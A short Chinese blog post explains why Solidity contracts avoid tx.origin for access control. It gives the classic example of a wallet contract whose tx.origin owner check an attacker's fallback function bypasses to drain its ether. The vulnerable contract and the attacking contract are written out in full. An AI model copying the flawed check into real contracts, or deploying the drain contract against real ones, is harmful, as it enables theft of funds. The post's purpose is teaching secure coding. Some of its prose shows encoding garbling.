為什么合約里盡量避免使用 tx.origin

  1. V 神說了,Do NOT assume that tx.origin will continue to be usable or meaningful.
  2. 由可以引發(fā)嚴(yán)重的安全問題,特別是用 tx.origin 做權(quán)限校驗(yàn)時(shí),非常容易被繞過??聪旅娴慕?jīng)典代碼示例:當(dāng) MyContract 實(shí)例的 owner 嘗試往作為 receiver 的 AttachingContract 發(fā)送代幣時(shí),由于 AttachingContract 沒有 transfer 方法,fallback 方法會(huì)被調(diào)用,AttachingContract 反過來又調(diào)用 MyContract 實(shí)例的 sendTo 方法,這個(gè)時(shí)候 tx.origin 還是當(dāng)前的 owner,“require(tx.origin == owner);” 就成了擺設(shè),可以很輕松的把 MyContract 里的以太幣全部轉(zhuǎn)走。
contract MyContract {

    address owner;

    function MyContract() public {
        owner = msg.sender;
    }

    function sendTo(address receiver, uint amount) public {
        require(tx.origin == owner);
        receiver.transfer(amount);
    }

}

contract AttackingContract {

    MyContract myContract;
    address attacker;

    function AttackingContract(address myContractAddress) public {
        myContract = MyContract(myContractAddress);
        attacker = msg.sender;
    }

    function() public {
        myContract.sendTo(attacker, msg.sender.balance);
    }

}
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容